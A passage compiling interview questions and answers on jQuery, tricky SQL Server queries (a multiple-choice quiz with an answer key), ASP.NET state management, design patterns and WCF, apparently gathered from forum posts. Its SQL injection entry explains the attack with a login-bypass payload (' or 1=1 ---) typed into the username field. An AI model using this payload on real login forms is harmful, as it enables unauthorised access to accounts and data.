request is made, it is indeterminate when the response will be received.
Below an example of making an AJAX call and alerting the response (or error):
Code:
$.ajax({
url: 'pcdsEmpRecords.php',
success: function(response) {
alert(response);
},
error: function(xhr) {
alert('Error! Status = ' + xhr.status);
}
});

49).Do we need to add the JQuery file both at the Master page and Content page as well?
No, if the Jquery file has been added to the master page then we can access the content page directly
without adding any reference to it.
This can be done using this simple example
<script type="text/javascript" src="jQuery-1.4.1-min.js"></script>

50).Difference between onload() and document.ready() function used in jQuery?
We can add more than one document.ready() function in a page.
we can have only one onload function.
Document.ready() function is called as soon as DOM is loaded.
body.onload() function is called when everything (DOM, images)gets loaded on the page.

Objective Type : Tricky SQL Queries Interview Questions and Answers | Latest
Hey here I come with tricky sql query which are frequently asked in sql/database interview for puzzle
sql developer. This would be best for you to go through following sql server interview queries before
attend interview. This series contain 17th Objective type Interview Questions(Sql server query), all
query seems easy but it would be complex situation when you face these query in Interview time.
So following query seems very easy but play roll of complex/tricky sql query.

ANSWERS :
17) A 16) D 15) A 14) C
13) C 12) C 11) D 10) B
09) A 08) A 07) C 06) D
05) A 04) D 03) C 02) D 01) B

So lets start
1). SELECT 15
output of this query would be.
A). Throw error
B). 15
C). 0
D). 1


2).SELECT $
output of this query would be.
A). Throw error
B). $
C). 1
D). 0.00


3). SELECT COUNT(*)
output of this query would be.
A). Throw error
B). 0
C). 1
D). *


4). SELECT COUNT('7')
output of this query would be.
A). Throw error
B). 7
C). 0
D). 1


5). SELECT 'VIKAS' + 1
output of this query would be.
A). Throw error
B). 'VIKAS'
C). VIKAS
D). VIKAS1


6).SELECT 'VIKAS' + '1'
output of this query would be.
A). Throw error
B). 'VIKAS'
C). VIKAS
D). VIKAS1


7).SELECT (SELECT 'VIKAS')
output of this query would be.
A). Throw error
B). 'VIKAS'
C). VIKAS
D). VIKAS1


8).SELECT SELECT 'VIKAS'
output of this query would be.
A). Throw error
B). 'VIKAS'
C). VIKAS
D). VIKAS1


9). SELECT * FROM 'Country'
output of this query would be.
A). Throw error
B). Select all data from country table
C). Country
D). Throw error


10). SELECT * FROM Country , EmployeeDetail
output of this query would be.
A). Throw error
B). Output will be cross join of both tables
C). Output will be inner join
D). Output will be only Country table data



11). SELECT COUNT(*) + COUNT(*)
output of this query would be.
A). Throw error
B). 0
C). 1
D). 2


12). SELECT 'VIKAS' FROM Country
output of this query would be.
A). Throw error
B). Display one time "VIKAS"
C). Display "VIKAS" as many rows in Country table
D). Will select country table data


13).SELECT SUM(1+2*3)
output of this query would be.
A). Throw error
B). 9
C). 7
D). 6


14). SELECT MAX(1+2*3)
output of this query would be.
A). Throw error
B). 3
C). 7
D). 6


15).SELECT MAX(1,3,4)
output of this query would be.
A).Throw error
B). 1
C). 3
D). 4


16).SELECT MAX('VIKAS')
output of this query would be.
A).Throw error
B). 1
C). 2
D). VIKAS


17).Select Count(SELECT CountryID FROM Country)
output of this query would be.
A).Throw error
B). Will display count of country table
C). 0
D). 1

RE: .net interview questions and answers for
2 years experience
What are server controls?
ASP.NET server controls are components that run on the server and encapsulate user-
interface and other related functionality. They are used in ASP.NET pages and in ASP.NET
code-behind classes.


What is the difference between Web User Control and Web Custom Control?
Web custom controls are compiled components that run on the server and that encapsulate
user-interface and other related functionality into reusable packages. They can include all
the design-time features of standard ASP.NET server controls, including full support for
Visual Studio design features such as the Properties window, the visual designer, and the
Toolbox There are several ways that you can create Web custom controls: You can compile
a control that combines the functionality of two or more existing controls. For example if
you need a control that encapsulates a button and a text box, you can create it by compiling
the existing controls together. ? If an existing server control almost meets your
requirements but lacks some required features, you can customize the control by deriving
from it and overriding its properties, methods, and events. if none of the existing Web
server controls (or their combinations) meet your requirements, you can create a custom
control by deriving from one of the base control classes.
These classes provide all the basic functionality of Web server controls, so you can focus on
programming the features you need. If none of the existing ASP.NET server controls meet
the specific requirements of your applications, you can create either a Web user control or a
Web custom control that encapsulates the functionality you need. The main difference
between the two controls lies in ease of creation vs. ease of use at design time.

Web user controls are easy to make, but they can be less convenient to use in advanced
scenarios. You develop Web user controls almost exactly the same way that you develop
Web Forms pages. Like Web Forms, user controls can be created in the visual designer, they
can be written with code separated from the HTML, and they can handle execution events.
However, because Web user controls are compiled dynamically at run time they cannot be
added to the Toolbox, and they are represented by a simple placeholder glyph when added
to a page. This makes Web user controls harder to use if you are accustomed to full Visual
Studio .NET design-time support, including the Properties window and Design view
previews. Also, the only way to share the user control between applications is to put a
separate copy in each application, which takes more maintenance if you make changes to
the control.
Web custom controls are compiled code, which makes them easier to use but more difficult
to create; Web custom controls must be authored in code. Once you have created the
control, however, you can add it to the Toolbox and display it in a visual designer with full
Properties window support and all the other design-time features of ASP.NET server
controls.


Application and Session Events
The ASP.NET page framework provides ways for you to work with events that can be raised
when your application starts or stops or when an individual user's session starts or stops:
- Application events are raised for all requests to an application. For example,
Application_BeginRequest is raised when any Web Forms page or XML Web service in your
application is requested. This event allows you to initialize resources that will be used for
each request to the application. A corresponding event, Application_EndRequest, provides
you with an opportunity to close or otherwise dispose of resources used for the request.
- Session events are similar to application events (there is a Session_OnStart and a
Session_OnEnd event), but are raised with each unique session within the application. A
session begins when a user requests a page for the first time from your application and
ends either when your application explicitly closes the session or when the session times
out.
You can create handlers for these types of events in the Global.asax file.



Difference between ASP Session and ASP.NET Session?
asp.net session supports cookie less session & it can span across multiple servers.


What is cookie less session? How it works?
By default, ASP.NET will store the session state in the same process that processes the
request, just as ASP does. If cookies are not available, a session can be tracked by adding a
session identifier to the URL. This can be enabled by setting the following:

<sessionState cookieless="true" />


How you will handle session when deploying application in more than a server?
Describe session handling in a webfarm, how does it work and what are the limits?
By default, ASP.NET will store the session state in the same process that processes the
request, just as ASP does. Additionally, ASP.NET can store session data in an external
process, which can even reside on another machine. To enable this feature:
- Start the ASP.NET state service, either using the Services snap-in or by executing "net
start aspnet_state" on the command line. The state service will by default listen on port
42424. To change the port, modify the registry key for the service:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\aspnet_state\Parameters\Port
- Set the mode attribute of the <sessionState> section to "StateServer".
- Configure the stateConnectionString attribute with the values of the machine on which you
started aspnet_state.
The following sample assumes that the state service is running on the same machine as the
Web server ("localhost") and uses the default port (42424):


<sessionState mode="StateServer"
stateConnectionString="tcpip=localhost:42424" />

Note that if you try the sample above with this setting, you can reset the Web server
(enter iisreset on the command line) and the session state value will persist.



What method do you use to explicitly kill a users session?
[C#]

Session.Abandon();


What are the different ways you would consider sending data across pages in
ASPX (i.e between 1.aspx to 2.aspx)?
- Session
- public properties
- Application


What is State Management in .Net and how many ways are there to maintain a
state in .Net? What is view state?
Web pages are recreated each time the page is posted to the server. In traditional Web
programming, this would ordinarily mean that all information associated with the page and
the controls on the page would be lost with each round trip.
To overcome this inherent limitation of traditional Web programming, the ASP.NET page
framework includes various options to help you preserve changes that is, for managing
state. The page framework includes a facility called view state that automatically preserves
property values of the page and all the controls on it between round trips.
However, you will probably also have application-specific values that you want to preserve.
To do so, you can use one of the state management options.
Client-Based State Management Options:
- View State
- Hidden Form Fields
- Cookies
- Query Strings
- Server-Based State Management Options
- Application State
- Session State
- Database Support


What are the disadvantages of view state / what are the benefits?
Automatic view-state management is a feature of server controls that enables them to
repopulate their property values on a round trip (without you having to write any code).
This feature does impact performance, however, since a server control's view state is
passed to and from the server in a hidden form field. You should be aware of when view
state helps you and when it hinders your page's performance.


When maintaining session through Sql server, what is the impact of Read and
Write operation on Session objects? will performance degrade?
Maintaining state using database technology is a common practice when storing user-
specific information where the information store is large. Database storage is particularly
useful for maintaining long-term state or state that must be preserved even if the server
must be restarted.


Explain the differences between Server-side and Client-side code?
Server side code will process at server side & it will send the result to client. Client side code
(javascript) will execute only at client side.


Which ASP.NET configuration options are supported in the ASP.NET
implementation on the shared web hosting platform?
Many of the ASP.NET configuration options are not configurable at the site, application or
subdirectory level on the shared hosting platform. Certain options can affect the security,
performance and stability of the server and, therefore cannot be changed. The following
settings are the only ones that can be changed in your sites web.config file (s):
browserCaps
clientTarget
pages
customErrors
globalization
authorization
authentication
webControls
webServices


What are the different authentication modes in the .NET environment?

<authentication mode="Windows|Forms|Passport|None">
<forms name="name"
loginUrl="url"
protection="All|None|Encryption|Validation"
timeout="30" path="/" >
requireSSL="true|false"
slidingExpiration="true|false">
<credentials passwordFormat="Clear|SHA1|MD5">
<user name="username" password="password"/>
</credentials>
</forms>
<passport redirectUrl="internal"/>
</authentication>

Attribute Option Description mode Controls the default authentication mode for an
application.
Windows Specifies Windows authentication as the default authentication mode. Use this
mode when using any form of Microsoft Internet Information Services (IIS) authentication:
Basic, Digest, Integrated Windows authentication (NTLM/Kerberos), or certificates.

Forms Specifies ASP.NET forms-based authentication as the default authentication mode.

Passport Specifies Microsoft Passport authentication as the default authentication mode.

None Specifies no authentication. Only anonymous users are expected or applications can
handle events to provide their own authentication.


What are validator? Name the Validation controls in asp.net? How do u disable
them? Will the asp.net validators run in server side or client side? How do you do
Client-side validation in .Net? How to disable validator control by client side
JavaScript?
A set of server controls included with ASP.NET that test user input in HTML and Web server
controls for programmer-defined requirements. Validation controls perform input checking
in server code. If the user is working with a browser that supports DHTML, the validation
controls can also perform validation ("EnableClientScript" property set to true/false) using
client script.
The following validation controls are available in asp.net:
RequiredFieldValidator Control, CompareValidator Control, RangeValidator Control,
RegularExpressionValidator Control, CustomValidator Control, ValidationSummary Control.


Which two properties are there on every validation control?
ControlToValidate, ErrorMessage


How do you use css in asp.net?
Within the <HEAD> section of an HTML document that will use these styles, add a link to
this external CSS style sheet that
follows this form:

<LINK REL="STYLESHEET" TYPE="text/css" HREF="MyStyles.css">

MyStyles.css is the name of your external CSS style sheet.


How do you implement postback with a text box? What is postback and usestate?
Make AutoPostBack property to true


What is SQL injection?
An SQL injection attack "injects" or manipulates SQL code by adding unexpected SQL to a
query.
Many web pages take parameters from web user, and make SQL query to the database.
Take for instance when a user login, web page that user name and password and make SQL
query to the database to check if a user has valid name and password.
Username: ' or 1=1 ---
Password: [Empty]
This would execute the following query against the users table:

select count(*) from users where userName='' or 1=1 --' and userPass=''


How to find last error which occurred?

Server.GetLastError();

[C#]
Exception LastError;
String ErrMessage;
LastError = Server.GetLastError();
if (LastError != null)
ErrMessage = LastError.Message;
else
ErrMessage = "No Errors";
Response.Write("Last Error = " + ErrMessage);


What is the use of web.config? Difference between machine.config and
Web.config?
ASP.NET configuration files are XML-based text files--each named web.config--that can
appear in any directory on an ASP.NET Web application server. Each web.config file applies
configuration settings to the directory it is located in and to all virtual child directories
beneath it. Settings in child directories can optionally override or modify settings specified in
parent directories. The root configuration file--
WinNT\Microsoft.NET\Framework\<version>\config\machine.config--provides default
configuration settings for the entire machine. ASP.NET configures IIS to prevent direct
browser access to web.config files to ensure that their values cannot become public
(attempts to access them will cause ASP.NET to return 403: Access Forbidden).
At run time ASP.NET uses these web.config configuration files to hierarchically compute a
unique collection of settings for each incoming URL target request (these settings are
calculated only once and then cached across subsequent requests; ASP.NET automatically
watches for file changes and will invalidate the cache if any of the configuration files
change).


What is the use of sessionstate tag in the web.config file?
Configuring session state: Session state features can be configured via the <sessionState>
section in a web.config file. To double the default timeout of 20 minutes, you can add the
following to the web.config file of an application:

<sessionState timeout="40" />


What are the different modes for the sessionstates in the web.config file?
Off Indicates that session state is not enabled.
Inproc Indicates that session state is stored locally.
StateServer Indicates that session state is stored on a remote server.
SQLServer Indicates that session state is stored on the SQL Server.


What is smart navigation?
When a page is requested by an Internet Explorer 5 browser, or later, smart navigation
enhances the user's experience of the page by performing the following:
- eliminating the flash caused by navigation.
- persisting the scroll position when moving from page to page.
- persisting element focus between navigations.
- retaining only the last page state in the browser's history.
Smart navigation is best used with ASP.NET pages that require frequent postbacks but with
visual content that does not change dramatically on return. Consider this carefully when
deciding whether to set this property to true.
Set the SmartNavigation attribute to true in the @ Page directive in the .aspx file. When the
page is requested, the dynamically generated class sets this property.


What base class do all Web Forms inherit from?

System.Web.UI.Page


Is it possible for me to change my aspx file extension to some other name?
Yes.
Open IIS->Default Website -> Properties
Select HomeDirectory tab
Click on configuration button
Click on add. Enter aspnet_isapi details
(C:\WINDOWS\Microsoft.NET\Framework\v1.0.3705\aspnet_isapi.dll |
GET,HEAD,POST,DEBUG)

Open machine.config(C:\WINDOWS\Microsoft.NET\Framework\v1.0.3705\CONFIG) & add
new extension under <httpHandlers> tag

<add verb="*" path="*.santhosh" type="System.Web.UI.PageHandlerFactory"/>


What is view state and use of it?
The current property settings of an ASP.NET page and those of any ASP.NET server controls
contained within the page. ASP.NET can detect when a form is requested for the first time
versus when the form is posted (sent to the server), which allows you to program
accordingly.


What are user controls and custom controls?
Custom controls:
A control authored by a user or a third-party software vendor that does not belong to the
.NET Framework class library. This is a generic term that includes user controls. A custom
server control is used in Web Forms (ASP.NET pages). A custom client control is used in
Windows Forms applications.

User Controls:
In ASP.NET: A user-authored server control that enables an ASP.NET page to be re-used as
a server control. An ASP.NET user control is authored declaratively and persisted as a text
file with an .ascx extension. The ASP.NET page framework compiles a user control on the fly
to a class that derives from the System.Web.UI.UserControl class.


What are the validation controls?
A set of server controls included with ASP.NET that test user input in HTML and Web server
controls for programmer-defined requirements. Validation controls perform input checking
in server code. If the user is working with a browser that supports DHTML, the validation
controls can also perform validation using client script.


What's the difference between Response.Write() andResponse.Output.Write()?
The latter one allows you to write formattedoutput.


What methods are fired during the page load?
Init()
When the page is instantiated, Load() - when the page is loaded into server
memory,PreRender () - the brief moment before the page is displayed to the user as HTML,
Unload() - when page finishes loading.


Where does the Web page belong in the .NET Framework class hierarchy?
System.Web.UI.Page


Where do you store the information about the user's locale?
System.Web.UI.Page.Culture


What's the difference between Codebehind="MyCode.aspx.cs" and
Src="MyCode.aspx.cs"?
CodeBehind is relevant to Visual Studio.NET only.


What's a bubbled event?
When you have a complex control, likeDataGrid, writing an event processing routine for
each object (cell, button,row, etc.) is quite tedious. The controls can bubble up their
eventhandlers, allowing the main DataGrid event handler to take care of its constituents.
Suppose you want a certain ASP.NET function executed on MouseOver over a certain
button.


Where do you add an event handler?
It's the Attributesproperty, the Add function inside that property.
e.g. btnSubmit.Attributes.Add("onMouseOver","someClientCode();")


What data type does the RangeValidator control support?
Integer,String and Date.


What are the different types of caching?
Caching is a technique widely used in computing to increase performance by keeping
frequently accessed or expensive data in memory. In context of web application, caching is
used to retain the pages or data across HTTP requests and reuse them without the expense
of recreating them.ASP.NET has 3 kinds of caching strategiesOutput CachingFragment
CachingData

CachingOutput Caching: Caches the dynamic output generated by a request. Some times it
is useful to cache the output of a website even for a minute, which will result in a better
performance. For caching the whole page the page should have OutputCache
directive.<%@ OutputCache Duration="60" VaryByParam="state" %>

Fragment Caching: Caches the portion of the page generated by the request. Some times it
is not practical to cache the entire page, in such cases we can cache a portion of page<%@
OutputCache Duration="120" VaryByParam="CategoryID;SelectedID"%>
Data Caching: Caches the objects programmatically. For data caching asp.net provides a
cache object for eg: cache["States"] = dsStates;


What do you mean by authentication and authorization?
Authentication is the process of validating a user on the credentials (username and
password) and authorization performs after authentication. After Authentication a user will
be verified for performing the various tasks, It access is limited it is known as authorization.



Re: Design pattern interview questions and
answers

Singleton pattern is one of the simplest design pattern. Singletons are used for centralized
management of internal or external resources and they provide a global point of access to
themselves.

Please find the example of SingleTon class below:

[JAVA]
class Singleton
{
private static Singleton uniqueInstance;
private Singleton()
{
...
}

public static synchronized Singleton getInstance()
{
if (uniqueInstance == null)
uniqueInstance = new Singleton();

return uniqueInstance;
}
...
public void doSomething()
{
...
}
}


Practical uses of Singleton pattern:
1. Logger Classes
2. Configuration Classes
3. Accesing resources in shared mode


Thanks,
Hariharan T G
Posted
By:
Hariharan
Posted Dt: 18-Jun-2012
2
0
Total Points:

Re: Design pattern interview questions and
answers
Observer Pattern:

When one object changes its state, all its observers(or dependents) are notified and
updated automatically. This pattern used to maintain the consistency between the related
objects. Observer Pattern is also called as "Publish - Subscribe" mechanism.

Applicability:
- Will be used when a change in one object requires a changing in another object.
- When one object depend on the other
- Widely used in GUI Applications(Model - View - Controller)
- Use this pattern to reduce coupling

Disadvantages:
- Memory Leak: If domain objects observed other domain objects, When we are out of that
scope we need to delete that domain objects. Because along with the objects it will hold the
observer relation ship. Long lived unused objects may lead to memory leak
- It is not clear in advance how many and which objects will be notified due to the state
change
- Return type has to be void
- Update operations are asynchronous

Thanks,
Balaji T G
Posted
By:
Balaji
Posted Dt: 19-Jun-2012
2
0
Total Points:

Re: Design pattern interview questions and
answers
The main purpose using MVC pattern is to decouple the GUI from the Data. It also gives the
ability to provide multiple views for the same Data. MVC pattern separates objects in to
three important sections:-
Model: - This section is specially for maintaining data. It is actually where your business
logic, querying database, database connection etc. is actually implemented.
Views: - Displaying all or some portion of data, or probably different view of data. View is
responsible for look and feel, Sorting, formatting etc.
Controller: - They are event-handling section, which affects either the model or the view.
Controller responds to the mouse or keyboard input to command model and view to change.
Controllers are associated with views. User interaction triggers the events to change the
model, which in turn calls some methods of model to update its state to notify other
registered views to refresh their display.

What is Aspect oriented software technology?
It is a new technology for separation of concerns (SOC) in software development. The
techniques of AOSD make it possible to modularize crosscutting aspects of a system.

What are the types of design patterns?
1. Creational
2. Structural
3. Behavioral

What is the difference between Factory and Abstract Factory Patterns?
The main difference between factory and Abstract factory is factory method uses inheritance
to decide which object has to be instantiated while abstract factory uses delegation to
decide instantiation of object. We can say Abstract factory uses factory method to complete
the architecture. Abstract Factory is one level higher in abstraction over Factory.
Posted
By:
Karthik
Posted Dt: 19-Jun-2012
2
0
Total Points:

Re: Design pattern interview questions and
answers
What is Value Object (VO) pattern?
Value Object is a serializable object which would contain lot of atomic values. These are
normal java classes which may have different constructors (to fill in the value of different
data) and getter methods to get access to these data. VOs are used as a course grained call
which gets lots of data in one go (this reduces remote overhead). The VO is made
serializable for it to be transferred between different tiers within a single remote method
invocation.

What is the difference between factory design pattern and abstract factory design pattern?
Both are creational design patterns. Factory pattern is said to be there if there is method in
a class that is used to create class instances. Any class can have factory methods. Using
abstract factory pattern, an instance of a class is created that has only factory methods.

Drawbacks of Singleton design pattern
- It introduces global state into an application and thus it makes unit testing far more
difficult
- Access to the singleton in a multi-threaded context must be serialized

What is Data Access Object pattern?
It provides a flexible and transparent access to the data, abstracts the data sources and
hides the complexity of Data persistence layer. This pattern provides for loose coupling
between business and data persistence layer.

What is MVVM design pattern? When it is used?
MVVM is a UI design pattern. The main use of this pattern to remove UI cluttered code like
bindings , synchronization etc. In this pattern we create a extra class called as view model
or model which acts as a bridge between model and view. The view sends the actions and
data to the model view class who in turns sends the data to model. Any changes in the
model is replicated or informed to the UI using the INotifyPropertyChanged interface.

Re: wcf interview questions and answers for
experienced
Hi All,

Here are few wcf interview questions and answers:

What is WCF?
Windows Communication Foundation or just WCF is a programming framework used to build
applications that communicate with each other. It is a part of the .NET Framework dedicated
to communications.

What are the different WCF binding available?
BasicHttpBinding
WSHttpBinding
WSDualHttpBinding
WSFederationHttpBinding
NetTcpBinding
NetNamedPipeBinding
NetMsmqBinding
NetPeerTcpBinding
MsmqIntegrationBinding

What is the proxy for WCF Service?
A proxy is a class by which a service client can Interact with the service. By the use of proxy
in the client application we are able to call the different methods exposed by the service.

What is the difference between XMLSerializer and the DataContractSerializer?
1. DataContractSerializer is the default serializer fot the WCF
2. DataContractSerializer is very fast.
3. DataContractSerializer is basically for very small, simple subset of the XML infoset.
4. XMLSerializer is used for complex schemas

What is endpoint in WCF service?
The endpoint is an Interface which defines how a client will communicate with the service. It
consists of three main points: Address,Binding and Contract.

What is the difference between WCF Service and Web Service?
1) WCF Service supports both http and tcp protocol while webservice supports only http
protocol.
2) WCF Service is more flexible than web service.
3) WCF is combination of WebService, Remoting, MSMQ

What are the various ways of hosting a WCF service?
Self hosting the service in his own application domain. This we have already covered in the
first section. The service comes in to existence when you create the object of ServiceHost
class and the service closes when you call the Close of the ServiceHost class. Host in
application domain or process provided by IIS Server. Host in Application domain and
process provided by WAS (Windows Activation Service) Server.

What is service and client in perspective of data communication?
A service is a unit of functionality exposed to the world.
The client of a service is merely the party consuming the service.

Thanks,
Vaishnavi
Posted
By:
Vaishnavi
Posted Dt: 02-Apr-
2012
187
50
Total Points:

Re: wcf interview questions and answers for
experienced
Hi All,

Below are few WCF concepts.

List the behaviors that WCF service uses during its execution.
A WCF service uses the following list of behaviors during its execution.
1. Throttling
2. Security
3. Instancing
- PerCall
- PerSession
- Single
4. Error handling
5. Concurrency
- Multiple
- Single
- Reentrant
6. Transactions


What is WCF? Explain.
WCF (A platform for SOA)
Unified programming model, provided by WCF, helps in building Service Oriented
Application (SOA) through some simple implementation. WCF Service features for usage in
SOA implementation.

Uses of WCF services:
Expose functionality using contracts to clients
Can be deployed over various protocols to satisfy various distributed and interoperable
scenarios
Execute autonomously and do not impact another service in case of failure
Design and implementation are separate from business logic, which eases migration to
SOA design


What is the programming life cycle of WCF?
Windows Communication Foundation (WCF) enables applications to communicate whether
they are on the same computer, across the Internet, or on different application platforms.
This topic outlines the tasks that are required to build a WCF application. The basic tasks to
perform, are, in order to:
1. Define the Service Contract
2. Implement the Service Contract
3. Configure the Service by specifying endpoint information and other behavior information
4. Host the service in an application
5. Build the client application


Define WCF data contract
- A data contract is defined by using a Data Contract Attribute on a class or structure.
- Members of the data structure which will be used by the service need to be marked with
the Data Member Attribute.
- Only those members will be transferred between the service and its client. In the same
way that different classes can implement the same interface, different classes can
implement the same Data Contract, and can serialize and deserialize the same data.

Thanks
Posted
By:
Hariharan
Posted Dt: 10-May-
2012
42
4
Total Points:

Re: wcf interview questions and answers for
experienced
What is the advantage and disadvantage of implementing IExtensibleDataObject?
WCF guidelines recommend enhancing all data contracts with support of
IExtensibleDataObject interface, to preserve unexpected data from clients. During
deserialization, superfluous data is placed in a dictionary on the service side and during
serialization, the same data is written as XML as it was originally provided by the client. This
is very useful to preserve data from version 2.0 services at a version 1.0 client. It is also
useful in case where downstream calls from version 2.0 services go to other services
handling version 1.0.
However, there is also a disadvantage of implementing IExtensibleDataObject. It carries
risks of denial of service (DoS) and unnecessary use of server resources.


What is the role of WSDL in WCF?
WSDL stands for Web Service Description Language. The WCF service exposes the WSDL
document for the clients, to generate proxies and the configuration file. The WSDL file
provides the following information for the consumers of the WCF service.
1. Provides the information about the service contract and operations available.
2. Provides the information about all the end points exposed by the WCF service.
3. Provides the information about the messages and types that can be exchanged between
the client and the WCF service.
4. WSDL also provides any information about the policies used.


What are the different types of bindings available in WCF?
Basic Binding:
Offered by the BasicHttpBinding class, this is designed to expose a WCF service as a legacy
ASMX web service, so that old clients can work with new services. When used by the client,
this binding enables new WCF clients to work with old ASMX services.

TCP Binding:
Offered by the NetTcpBinding class, this uses TCP for cross-machine communication on the
intranet. It supports a variety of features, including reliability, transactions, and security,
and is optimized for WCF-to-WCF communication. As a result, it requires both the client and
the service to use WCF.

Peer Network Binding:
Offered by the NetPeerTcpBinding class, this uses peer networking as a transport. The peer
network-enabled client and services all subscribe to the same grid and broadcast messages
to it.

IPC Binding:
Offered by the NetNamedPipeBinding class, this uses named pipes as a transport for same-
machine communication. It is the most secure binding since it cannot accept calls from
outside the machine and it supports a variety of features similar to the TCP binding.

Web Service (WS) Binding:
Offered by the WSHttpBinding class, this uses HTTP or HTTPS for transport, and is designed
to offer a variety of features such as reliability, transactions, and security over the Internet.

Federated WS Binding:
Offered by the WSFederationHttpBinding class, this is a specialization of the WS binding,
offering support for federated security.

Duplex WS Binding:
Offered by the WSDualHttpBinding class, this is similar to the WS binding except it also
supports bidirectional communication from the service to the client.

MSMQ Binding:
Offered by the NetMsmqBinding class, this uses MSMQ for transport and is designed to offer
support for disconnected queued calls.

MSMQ Integration Binding:
Offered by the MsmqIntegrationBinding class, this converts WCF messages to and from
MSMQ messages, and is designed to interoperate with legacy MSMQ clients.


What are Various Ways of Hosting WCF Services?
Three ways of hosting WCF Services:
1. Self-hosting the service in its own application domain. The service comes into existence
when you create the object of Service Host class and the service closes when you call the
Close of the Service Host class.
2. Host in application domain or process provided by IIS Server.
3. Host in application domain and process provided by WAS (Windows Activation Service)
Server.

What is WCF?
Windows Communication Foundation or just WCF is a programming framework used to build applications that
communicate with each other. It is a part of the .NET Framework dedicated to communications.
Expertise Level : Basic
Posted Date : 1/21/2014 8:26:34 PM

ASP.Net

wcf

Asked in : TCS, Cognizant
view comments
5 people rated this as good.
What are the different WCF binding available?
BasicHttpBinding
WSHttpBinding
WSDualHttpBinding
WSFederationHttpBinding
NetTcpBinding
NetNamedPipeBinding
NetMsmqBinding
NetPeerTcpBinding
MsmqIntegrationBinding
Expertise Level : Basic
Posted Date : 1/21/2014 8:26:55 PM

ASP.Net

wcf

Asked in : TCS, Cognizant
view comments
2 people rated this as good.
What is the proxy for WCF Service?
A proxy is a class by which a service client can Interact with the service. By the use of proxy in the client
application we are able to call the different methods exposed by the service.
Expertise Level : Basic
Posted Date : 1/21/2014 9:34:46 PM

ASP.Net

wcf

Asked in : TCS, Cognizant
view comments
2 people rated this as good.
What is the difference between XMLSerializer and the DataContractSerializer?
1. DataContractSerializer is the default serializer fot the WCF
2. DataContractSerializer is very fast.
3. DataContractSerializer is basically for very small, simple subset of the XML infoset.
4. XMLSerializer is used for complex schemas
Expertise Level : Basic
Posted Date : 1/21/2014 8:28:50 PM

ASP.Net

wcf

Asked in : TCS, Cognizant
view comments
1 people rated this as good.
What is endpoint in WCF service?
The endpoint is an Interface which defines how a client will communicate with the service. It consists of three main
points: Address,Binding and Contract.
Expertise Level : Basic
Posted Date : 1/21/2014 11:14:31 PM

ASP.Net

wcf

Asked in : IBM, ABCO, TCS, Cognizant, Capgemini
view comments
2 people rated this as good.
What is the difference between WCF Service and Web Service?
1) WCF Service supports both http and tcp protocol while webservice supports only http protocol.
2) WCF Service is more flexible than web service.
3) WCF is combination of WebService, Remoting, MSMQ
Expertise Level : Basic
Posted Date : 1/21/2014 8:28:24 PM

ASP.Net

wcf

Asked in : Verizon, Virtusa
view comments
2 people rated this as good.
What are the various ways of hosting a WCF service?
Self hosting the service in his own application domain. This we have already covered in the first section. The service
comes in to existence when you create the object of ServiceHost class and the service closes when you call the Close
of the ServiceHost class. Host in application domain or process provided by IIS Server. Host in Application domain
and process provided by WAS (Windows Activation Service) Server.
Expertise Level : Basic
Posted Date : 1/21/2014 8:29:05 PM

ASP.Net

wcf

Asked in : Accenture, Verizon, iGate
view comments
1 people rated this as good.
What is service and client in perspective of data communication?
A service is a unit of functionality exposed to the world.
The client of a service is merely the party consuming the service.
Expertise Level : Basic
Posted Date : 1/21/2014 8:28:14 PM

ASP.Net

wcf

Asked in : IBM, Honeywell
view comments
0 people rated this as good.
List the behaviors that WCF service uses during its execution.
A WCF service uses the following list of behaviors during its execution.
1. Throttling
2. Security
3. Instancing
- PerCall
- PerSession
- Single
4. Error handling
5. Concurrency
- Multiple
- Single
- Reentrant
6. Transactions
Expertise Level : Basic
Posted Date : 1/21/2014 8:27:54 PM

ASP.Net

wcf

Asked in : Verizon, ABCO, Honeywell
view comments
1 people rated this as good.
What are the uses of WCF Service?
Expose functionality using contracts to clients
Can be deployed over various protocols to satisfy various distributed and interoperable scenarios
Execute autonomously and do not impact another service in case of failure
Design and implementation are separate from business logic, which eases migration to SOA design
Expertise Level : Basic
Posted Date : 1/21/2014 8:27:49 PM

ASP.Net

wcf

Asked in : TCS, Cognizant, Virtusa
view comments
0 people rated this as good.
What is the programming life cycle of WCF?
Windows Communication Foundation (WCF) enables applications to communicate whether they are on the same
computer, across the Internet, or on different application platforms. This topic outlines the tasks that are required to
build a WCF application. The basic tasks to perform, are, in order to:
1. Define the Service Contract
2. Implement the Service Contract
3. Configure the Service by specifying endpoint information and other behavior information
4. Host the service in an application
5. Build the client application
Expertise Level : Basic
Posted Date : 1/21/2014 8:28:44 PM

ASP.Net

wcf

Asked in : Philips, iGate, iNautix, TechMahindra
view comments
0 people rated this as good.
Define WCF data contract
- A data contract is defined by using a Data Contract Attribute on a class or structure.
- Members of the data structure which will be used by the service need to be marked with the Data Member
Attribute.
- Only those members will be transferred between the service and its client. In the same way that different classes
can implement the same interface, different classes can implement the same Data Contract, and can serialize and
deserialize the same data.
Expertise Level : Basic
Posted Date : 1/22/2014 2:06:10 AM

ASP.Net

wcf

Asked in : TCS, iNautix, Siemens, Syntel, TechMahindra
view comments
0 people rated this as good.
What is the advantage and disadvantage of implementing IExtensibleDataObject?
WCF guidelines recommend enhancing all data contracts with support of IExtensibleDataObject interface, to
preserve unexpected data from clients. During deserialization, superfluous data is placed in a dictionary on the
service side and during serialization, the same data is written as XML as it was originally provided by the client.
This is very useful to preserve data from version 2.0 services at a version 1.0 client. It is also useful in case where
downstream calls from version 2.0 services go to other services handling version 1.0.
However, there is also a disadvantage of implementing IExtensibleDataObject. It carries risks of denial of service
(DoS) and unnecessary use of server resources.
Expertise Level : Basic
Posted Date : 1/21/2014 8:26:14 PM

ASP.Net

wcf

Asked in : IBM, Verizon, Honeywell
view comments
2 people rated this as good.
What is the role of WSDL in WCF?
WSDL stands for Web Service Description Language. The WCF service exposes the WSDL document for the
clients, to generate proxies and the configuration file. The WSDL file provides the following information for the
consumers of the WCF service.
1. Provides the information about the service contract and operations available.
2. Provides the information about all the end points exposed by the WCF service.
3. Provides the information about the messages and types that can be exchanged between the client and the WCF
service.
4. WSDL also provides any information about the policies used.
Expertise Level : Intermediate
Posted Date : 1/21/2014 8:27:30 PM

ASP.Net

wcf

Asked in : Accenture, ABCO
view comments
1 people rated this as good.
What are the different types of bindings available in WCF?
Basic Binding:
Offered by the BasicHttpBinding class, this is designed to expose a WCF service as a legacy ASMX web service, so
that old clients can work with new services. When used by the client, this binding enables new WCF clients to work
with old ASMX services.

TCP Binding:
